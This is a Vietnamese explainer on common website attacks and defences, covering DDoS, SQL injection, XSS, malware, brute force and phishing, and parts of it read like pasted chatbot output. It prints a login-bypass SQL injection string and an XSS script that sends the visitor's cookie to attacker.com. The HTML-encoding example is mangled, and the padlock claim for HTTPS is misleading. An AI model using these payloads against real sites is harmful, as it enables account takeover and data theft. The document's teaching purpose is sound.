Các hình thức tấn công website phổ biến hiện nay

Các loại hình tấn công website phổ biến nhất

Các cuộc tấn công website ngày càng trở nên tinh vi và phổ biến, đe dọa đến an toàn dữ liệu và hoạt động của nhiều tổ chức, cá nhân. Dưới đây là các loại hình tấn công website phổ biến nhất cùng với các ví dụ cụ thể để bạn dễ hình dung.

1. Tấn công từ chối dịch vụ (Denial of Service - DoS/DDoS)

Đây là hình thức tấn công nhằm làm cho một website hoặc tài nguyên mạng trở nên không khả dụng đối với người dùng hợp lệ. Kẻ tấn công sẽ tạo ra một lượng truy cập khổng lồ hoặc gửi các yêu cầu phức tạp làm quá tải máy chủ, khiến nó không thể xử lý các yêu cầu từ người dùng bình thường.

• DoS (Denial of Service): Tấn công từ một máy tính duy nhất.

• DDoS (Distributed Denial of Service): Tấn công từ nhiều máy tính bị kiểm soát (gọi là botnet), tạo ra lưu lượng truy cập lớn hơn và khó ngăn chặn hơn.

Ví dụ cụ thể: Năm 2018, dịch vụ lưu trữ mã nguồn GitHub đã phải hứng chịu một cuộc tấn công DDoS kỷ lục với lưu lượng truy cập lên tới 1.35 terabit mỗi giây (Tbps). Kẻ tấn công đã lợi dụng các máy chủ Memcached không được bảo mật để khuếch đại lưu lượng truy cập và gửi đến GitHub, làm gián đoạn dịch vụ trong khoảng 10 phút.

2. Tấn công SQL Injection (SQLi)

SQL Injection là một kỹ thuật tấn công cho phép kẻ tấn công chèn các câu lệnh SQL độc hại vào các truy vấn mà một ứng dụng web gửi đến cơ sở dữ liệu của nó. Nếu thành công, kẻ tấn công có thể xem, sửa đổi, hoặc xóa dữ liệu nhạy cảm mà chúng không được phép truy cập.

Ví dụ cụ thể: Kẻ tấn công có thể nhập một chuỗi như ''='' OR '1'='1' vào ô đăng nhập. Nếu website không được lập trình để xử lý chuỗi này một cách an toàn, câu lệnh SQL có thể trở thành:

SQL

SELECT * FROM Users WHERE Username = '' AND Password = '' OR '1'='1'

Vì điều kiện '1'='1' luôn đúng, câu lệnh này sẽ trả về tất cả dữ liệu trong bảng Users, cho phép kẻ tấn công đăng nhập mà không cần mật khẩu.

3. Tấn công Cross-Site Scripting (XSS)

XSS là một loại lỗ hổng bảo mật trong đó kẻ tấn công chèn các đoạn mã độc hại (thường là JavaScript) vào một trang web đáng tin cậy. Khi người dùng khác truy cập vào trang web này, mã độc sẽ được thực thi trên trình duyệt của họ. Điều này cho phép kẻ tấn công đánh cắp thông tin cookie, phiên đăng nhập, hoặc thực hiện các hành động mạo danh người dùng.

Ví dụ cụ thể: Một kẻ tấn công đăng một bình luận trên một blog chứa đoạn mã sau:

HTML

<script>document.location='http://attacker.com/steal_cookie.php?cookie=' + document.cookie;</script>

Khi một người dùng khác xem bình luận này, trình duyệt của họ sẽ thực thi đoạn mã và gửi cookie của họ đến trang web của kẻ tấn công. Kẻ tấn công sau đó có thể sử dụng cookie này để chiếm quyền truy cập tài khoản của nạn nhân.

4. Phần mềm độc hại (Malware)

Malware là thuật ngữ chung chỉ bất kỳ phần mềm nào được thiết kế để gây hại hoặc thực hiện các hành động không mong muốn trên một hệ thống máy tính. Đối với website, malware có thể được cài cắm để đánh cắp dữ liệu, hiển thị quảng cáo lừa đảo, hoặc chuyển hướng người dùng đến các trang web độc hại khác.

Ví dụ cụ thể: Ransomware là một loại malware phổ biến. Khi một website bị nhiễm ransomware, các tệp tin và cơ sở dữ liệu của nó sẽ bị mã hóa. Kẻ tấn công sau đó sẽ yêu cầu một khoản tiền chuộc (thường bằng tiền điện tử) để cung cấp khóa giải mã.

5. Tấn công Brute Force

Đây là một phương pháp thử-và-sai đơn giản nhưng hiệu quả, trong đó kẻ tấn công sử dụng phần mềm tự động để thử tất cả các tổ hợp ký tự có thể cho đến khi tìm ra mật khẩu hoặc khóa mã hóa chính xác.

Ví dụ cụ thể: Kẻ tấn công nhắm vào trang đăng nhập của một website WordPress và sử dụng một công cụ tự động để thử hàng ngàn mật khẩu phổ biến (như "123456", "password", "admin") cho một tài khoản quản trị viên. Nếu mật khẩu của quản trị viên yếu, cuộc tấn công này có khả năng thành công.

6. Tấn công Phishing (Lừa đảo)

Phishing là hình thức giả mạo các trang web hoặc email của các tổ chức uy tín để lừa người dùng tiết lộ thông tin nhạy cảm như tên đăng nhập, mật khẩu, và chi tiết thẻ tín dụng.

Ví dụ cụ thể: Kẻ tấn công tạo một trang web có giao diện giống hệt trang đăng nhập của Facebook và gửi email cho người dùng với tiêu đề "Cảnh báo bảo mật tài khoản". Email này yêu cầu người dùng nhấp vào một liên kết (dẫn đến trang web giả mạo) để xác minh tài khoản của họ. Khi người dùng nhập thông tin đăng nhập trên trang giả mạo, kẻ tấn công sẽ chiếm được thông tin đó.

Việc hiểu rõ các loại hình tấn công này là bước đầu tiên và quan trọng nhất để xây dựng các biện pháp phòng thủ hiệu quả, bảo vệ an toàn cho website và dữ liệu người dùng.

Các giải pháp để hạn chế hoặc khắc phục

Chắc chắn rồi! Dưới đây là các giải pháp và biện pháp phòng ngừa hiệu quả để hạn chế hoặc khắc phục 6 loại hình tấn công website đã nêu.

1. Chống Tấn công Từ chối dịch vụ (DoS/DDoS)️

Mục tiêu là hấp thụ và lọc lưu lượng truy cập độc hại trước khi nó đến máy chủ của bạn.

• Sử dụng Mạng phân phối nội dung (CDN): Các dịch vụ như Cloudflare, Akamai, hoặc AWS CloudFront có mạng lưới máy chủ toàn cầu khổng lồ. Họ có thể phân tán và hấp thụ một lượng lớn lưu lượng tấn công, chỉ cho phép các truy cập hợp lệ đi qua đến máy chủ gốc của bạn.

• Sử dụng Tường lửa ứng dụng web (WAF): Một WAF có thể phát hiện và chặn các yêu cầu độc hại, lưu lượng truy cập từ botnet đã biết, và các mẫu tấn công DDoS ở tầng ứng dụng (Layer 7).

• Giới hạn tốc độ truy cập (Rate Limiting): Cấu hình máy chủ của bạn để giới hạn số lượng yêu cầu từ một địa chỉ IP trong một khoảng thời gian nhất định. Điều này giúp ngăn chặn các cuộc tấn công DoS quy mô nhỏ.

• Cấu hình máy chủ và mạng lưới: Làm việc với nhà cung cấp dịch vụ hosting để có các biện pháp chống DDoS ở cấp độ mạng lưới.

2. Ngăn chặn SQL Injection (SQLi)

Nguyên tắc cốt lõi là không bao giờ tin tưởng vào dữ liệu đầu vào từ người dùng.

• Sử dụng Prepared Statements (Câu lệnh tham số hóa): Đây là phương pháp hiệu quả nhất. Thay vì ghép chuỗi để tạo câu lệnh SQL, bạn sử dụng các câu lệnh có tham số. Điều này đảm bảo rằng dữ liệu đầu vào từ người dùng luôn được coi là dữ liệu, chứ không phải là một phần của mã lệnh SQL.

• Kiểm tra và lọc dữ liệu đầu vào (Input Validation): Luôn kiểm tra dữ liệu do người dùng nhập để đảm bảo nó đúng định dạng (ví dụ: một trường tuổi phải là số, email phải có định dạng email). Loại bỏ hoặc vô hiệu hóa các ký tự đặc biệt.

• Phân quyền tối thiểu cho cơ sở dữ liệu: Tạo một tài khoản người dùng cơ sở dữ liệu riêng cho ứng dụng web với quyền hạn được giới hạn ở mức tối thiểu cần thiết. Ví dụ: tài khoản này không nên có quyền xóa bảng (DROP TABLE).

3. Chống Tấn công Cross-Site Scripting (XSS)️

Tương tự SQLi, nguyên tắc là xử lý tất cả dữ liệu do người dùng tạo ra như là văn bản thuần túy, không phải mã lệnh.

• Mã hóa dữ liệu đầu ra (Output Encoding): Khi hiển thị dữ liệu do người dùng nhập lên trang web, hãy mã hóa các ký tự đặc biệt của HTML (ví dụ: chuyển < thành <, > thành >). Điều này khiến trình duyệt hiển thị các thẻ script dưới dạng văn bản thay vì thực thi chúng.

• Sử dụng Chính sách bảo mật nội dung (Content Security Policy - CSP): Đây là một tiêu đề HTTP (HTTP header) cho phép bạn chỉ định các nguồn tài nguyên (script, ảnh, style) đáng tin cậy mà trình duyệt được phép tải. CSP có thể vô hiệu hóa hoàn toàn các script nội tuyến (inline scripts), làm cho các cuộc tấn công XSS trở nên khó khăn hơn nhiều.

• Thiết lập Cookie với cờ HttpOnly: Cờ này ngăn không cho JavaScript phía máy khách truy cập vào cookie. Nếu kẻ tấn công thực hiện được XSS, chúng cũng không thể đánh cắp được cookie phiên đăng nhập.

4. Phòng chống Phần mềm độc hại (Malware)

Phòng bệnh hơn chữa bệnh. Việc giữ cho hệ thống của bạn luôn được cập nhật là cực kỳ quan trọng.

• Cập nhật thường xuyên: Luôn cập nhật hệ thống quản trị nội dung (CMS) như WordPress, Joomla, các plugin, theme và phần mềm máy chủ lên phiên bản mới nhất. Các bản cập nhật thường chứa các bản vá cho các lỗ hổng bảo mật đã biết.

• Sử dụng plugin/theme từ nguồn đáng tin cậy: Chỉ tải xuống và cài đặt các tiện ích mở rộng từ các nhà phát triển hoặc thị trường uy tín. Tránh sử dụng các sản phẩm "nulled" (bẻ khóa) vì chúng thường chứa mã độc.

• Quét malware định kỳ: Sử dụng các công cụ và dịch vụ bảo mật (ví dụ: Wordfence, Sucuri) để thường xuyên quét website của bạn nhằm phát hiện các tệp tin đáng ngờ và mã độc.

• Hạn chế quyền ghi tệp (File Permissions): Cấu hình quyền truy cập tệp trên máy chủ một cách chặt chẽ. Chỉ cấp quyền ghi cho những thư mục thực sự cần thiết.

5. Chống Tấn công Brute Force

Mục tiêu là làm cho việc đoán mật khẩu trở nên không khả thi.

• Giới hạn số lần đăng nhập sai: Tự động khóa tạm thời một tài khoản hoặc một địa chỉ IP sau một số lần đăng nhập thất bại (ví dụ: 5 lần).

• Yêu cầu mật khẩu mạnh: Bắt buộc người dùng phải tạo mật khẩu có độ dài tối thiểu, kết hợp chữ hoa, chữ thường, số và ký tự đặc biệt.

• Triển khai Xác thực hai yếu tố (2FA): Đây là một trong những biện pháp hiệu quả nhất. Ngay cả khi kẻ tấn công có được mật khẩu, chúng vẫn cần một yếu tố thứ hai (như mã từ ứng dụng trên điện thoại) để đăng nhập.

• Sử dụng CAPTCHA: Thêm CAPTCHA (như reCAPTCHA của Google) vào trang đăng nhập để xác minh rằng người dùng là con người, không phải bot tự động.

6. Phòng chống Phishing (Lừa đảo)

Giải pháp bao gồm cả kỹ thuật và nâng cao nhận thức cho người dùng.

• Sử dụng SSL/TLS (HTTPS): Cài đặt chứng chỉ SSL để mã hóa tất cả dữ liệu truyền giữa trình duyệt của người dùng và máy chủ của bạn. Biểu tượng ổ khóa màu xanh lá cây trên trình duyệt giúp người dùng tin tưởng rằng họ đang ở đúng trang web.

• Cấu hình SPF, DKIM và DMARC: Đây là các bản ghi DNS giúp xác thực email. Chúng giúp các nhà cung cấp dịch vụ email (như Gmail, Outlook) xác định xem một email có thực sự được gửi từ tên miền của bạn hay không, từ đó ngăn chặn kẻ tấn công giả mạo email của bạn để lừa đảo người dùng.

• Nâng cao nhận thức người dùng: Thường xuyên cảnh báo và hướng dẫn người dùng về các thủ đoạn lừa đảo. Dạy họ cách kiểm tra kỹ địa chỉ URL, địa chỉ email của người gửi và không bao giờ nhấp vào các liên kết đáng ngờ.